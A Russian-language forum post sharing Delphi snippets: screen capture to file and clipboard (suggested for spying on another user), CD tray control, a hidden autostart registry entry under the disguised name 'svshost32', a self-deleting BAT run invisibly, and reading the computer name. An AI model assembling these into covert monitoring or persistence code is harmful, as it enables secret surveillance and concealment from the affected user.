Delphi - парачка кадофф Опции

[@ндрюха!]

Этот код делает скриншот вашего экрана и сохраняет его в файл:
В uses добавляем JPEG

Код:
var
bmp: TBitmap;
DC: HDC;
Jpg: TJpegImage;
Begin
Try
bmp:= TBitmap.Create;
Jpg:= TJpegImage.Create;
bmp.Height:=Screen.Height;
bmp.Width:=Screen.Width;
DC:=GetDC(0);
bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
DC, 0, 0, SRCCOPY);
Jpg.Assign(Bmp);
Jpg.SaveToFile('c:test.jpg');
ReleaseDC(0, DC);
finally
Bmp.Free;
jpg.Free;
End;
End;

С его помощью можете потрудиться сделать например программу отслежки за вторым пользователем (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)

Если кому нада - этот код так же делает скриншот только он не в файл его сохраняет а в буфер обмена - одно и тоже что нажать принт скрин только програмно (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)

Код:
procedure CopyScreenToClipboard;
var dx,dy : integer;
hSourcDC,hDestDC,
hBM, hbmOld : THandle;
begin
dx := screen.width;
dy := screen.height;
hSourcDC := CreateDC('DISPLAY',nil,nil,nil);
hDestDC := CreateCompatibleDC(hSourcDC);
hBM := CreateCompatibleBitmap(hSourcDC, dx, dy);
hbmold:= SelectObject(hDestDC, hBM);
BitBlt(hDestDC, 0, 0, dx, dy, hSourcDC, 0, 0, SRCCopy);
OpenClipBoard(form1.handle);
EmptyClipBoard;
SetClipBoardData(CF_Bitmap, hBM);
CloseClipBoard;
SelectObject(hDestDC,hbmold);
DeleteObject(hbm);
DeleteDC(hDestDC);
DeleteDC(hSourcDC);
end;

----
Так же кому нада для разнообразия.
Следующий код открывает дверцу CD-ROM'a

в uses добавляем Mmsystem

Код:
mciSendString('Set cdaudio Door Open Wait', nil, 0, handle);

А этот код закрывает лоток:
так же в uses MMSystem (если нету)
:
mciSendString('Set cdaudio Door closed Wait', nil, 0, handle);



А этот код добавляет вашу программу в автозапуск, притом в автозагрузке ее не будет - в реестре добавляет:
var
Registry:TREgistry;
begin
Registry:=TRegistry.Create;
Registry.RootKey:=hkey_local_machine;
Registry.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', true);
Registry.WriteString('svshost32', fname);
Registry.CloseKey;
Registry.Free;
end;


ну вобщем это так почуть чуть если ктот чтото надумает написать. Если будут интересные пополнения выложу (IMG:http://forum.iseekyou.im/style_emoticons/default/wink.gif)

[@ндрюха!]

Очевидно что под Win32 удаление работающего кода невозможно. На время выполнения он просто добавляется к swap файлу - т.е. винды при нехватки памяти данные программы (массив переменных) сбрасывают в Swap (Page) файл, а сам код программы просто уничтожается из памяти, при возобновлении процесса, недостающие куски кода опять считываются из исходного файла. Понятно, что изменение файла пока его код выполняется будет иметь катастрофичные последствия, поэтому винды при запуске программы считают DLL или EXE файл по сути куском файла подкачки и запрещают любые манипуляции над ним. Кстати именно по этой причине все инсталляторы начинают свою работу с операции "Preparing to install", которая делает очень простую вещь - сам инсталлятор копируется во временную папку и перезапускает себя уже с винта, чтоб предотвратить крах системы при смене дискетты или CD. По этой же причине программы упакованные любыми EXE упаковщиками требуют больше памяти для запуска - так как загружается в память и исходный компрессированный код и декомпрессированный поток... Но несмотря на все сказанное можно удалить файл из "самого себя" при помощи маленькой хитрости: мы создаем и запускаем BAT файл - который и удалит программу, а саму программу закрываем, как только система "отпустит" файл - файл будет удален и затем BAT файл удалит самого себя. Пользователь всего этого не заметит - он увидит, что после завершении работы файла программы уже нет.

uses ShellApi;

procedure TForm1.FormDestroy(Sender: TObject);
var f: textFile;
FileName: string;
begin
FileName := changefileext(paramstr(0), '.bat');
assignFile(f, FileName);
rewrite(f);
writeln(f, ':1');
writeln(f, format('Erase "%s"', [paramstr(0)]));
writeln(f, format('If exist "%s" Goto 1', [paramstr(0)]));
writeln(f, format('Erase "%s"', [FileName]));
closefile(f);
ShellExecute(Handle, 'Open', PChar(FileName), nil, nil, sw_hide);
end;


Узнает имя компьютера:


Function ReadComputerName:string;
var
i: DWORD;
p: PChar;
begin
i:=255;
GetMem(p, i);
GetComputerName(p, i);
Result:=String(p);
FreeMem(p);
end;